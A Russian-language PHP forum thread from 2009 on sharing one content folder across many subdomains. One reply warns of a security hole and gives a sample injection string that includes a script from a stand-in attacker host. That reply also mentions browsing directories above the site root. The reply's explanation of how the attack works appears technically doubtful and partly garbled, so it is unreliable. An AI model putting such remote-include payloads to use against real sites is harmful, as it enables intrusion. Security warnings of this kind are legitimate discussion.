sait1.domen.ru
sait2.domen.ru
sait3.domen.ru
.............
sait101.domen.ru
Сайт domen.ru построен по схеме разделения дизайна и контента то есть в файл index.php вставлен такой код
<?
if (empty($_SERVER['QUERY_STRING']))
{ $name="index"; }
else
{ $name=basename($_SERVER['QUERY_STRING']); }
$file="txt/".$name.".htm";
if (is_readable($file))
{ readfile($file); }
else
{ echo "<br>Запрошенный вами файл не найден<br>";}
?>
То есть например странице index.php ссылка на страницу новости имеет вид domen.ru/index.php?news или на страницу контакты такая domen.ru/index.php?kontakt
Сами страницы все сложнены в папке txt которая находится в том же каталоге что и сам файл index.php
Поскольку нужно открыть много сайтов с разным дизайном но с таким же контентом как domen.ru
то хотелось бы знать как указать в коде индексного файла для этих сайтов третьего уровня путь к папке txt которая находится фактически на другом домене. Это нужно поскольку не хочется эту папку копировать много раз занимая место на сервере и помещать в тот же каталог где находятся страницы индексных файлов доменов 3 уровня.
Спустя 7 часов, 48 минут, 36 секунд (5.04.2009 - 10:53) FatCat написал(а):
Ваш вопрос потом.
Дыру в безопасности зачем оставили?
Дыру в безопасности зачем оставили?
Цитата (belvision @ 5.04.2009 - 03:04) |
$file="txt/".$name.".htm"; |
А если я вместо имени файла подставлю в запросе такую строку?
Код |
;include("http://my_hacking_site.ru/hack.php");$file= |
В результате на Вашем сайте отработает код:
PHP |
$file="txt/"; |
Спустя 1 минута, 46 секунд (5.04.2009 - 10:54) FatCat написал(а):
Цитата (belvision @ 5.04.2009 - 03:04) |
как указать в коде индексного файла для этих сайтов третьего уровня путь к папке txt |
Пишите абсолютный путь от папки /home/
Спустя 5 часов, 24 минуты, 37 секунд (5.04.2009 - 16:19) belvision написал(а):
Спасибо за подсказку помогите устранить эту дыру безопасности как должен выглядеть код?
Спустя 18 минут, 50 секунд (5.04.2009 - 16:38) belvision написал(а):
И как именно писать абсолютный путь от папки home
ведь папка с файлами поддомена находится в том же каталоге что и папка с файлами домена
например
htdocs.sait1.domen.ru папка поддомена в которой находится индексный файл
htdocs папка с файлами самого домена в которой находится папка txt и индексный файл
ведь папка с файлами поддомена находится в том же каталоге что и папка с файлами домена
например
htdocs.sait1.domen.ru папка поддомена в которой находится индексный файл
htdocs папка с файлами самого домена в которой находится папка txt и индексный файл
Спустя 5 дней, 33 минуты, 41 секунда (10.04.2009 - 17:12) belvision написал(а):
Кстате если внешние инклуды запрещены на сервере эта дыра не сработает
Спустя 1 час, 16 минут, 16 секунд (10.04.2009 - 18:28) FatCat написал(а):
Цитата (belvision @ 5.04.2009 - 16:38) |
И как именно писать абсолютный путь от папки home |
PHP |
define(TXT_PATH,"/home/user_dir/public_html/txt/"); |
Или топориком на коленке:
PHP |
$file="/home/user_dir/public_html/txt/".$name.".htm"; |
Цитата |
Кстате если внешние инклуды запрещены на сервере эта дыра не сработает |
Да, заинклюдить не получится.
Но можно будет пошарить по директориям выше директории сайта.

Спустя 1 день, 3 часа, 5 минут, 2 секунды (11.04.2009 - 21:33) belvision написал(а):
Спасибо большое за подробный код пути к папке теперь всё работает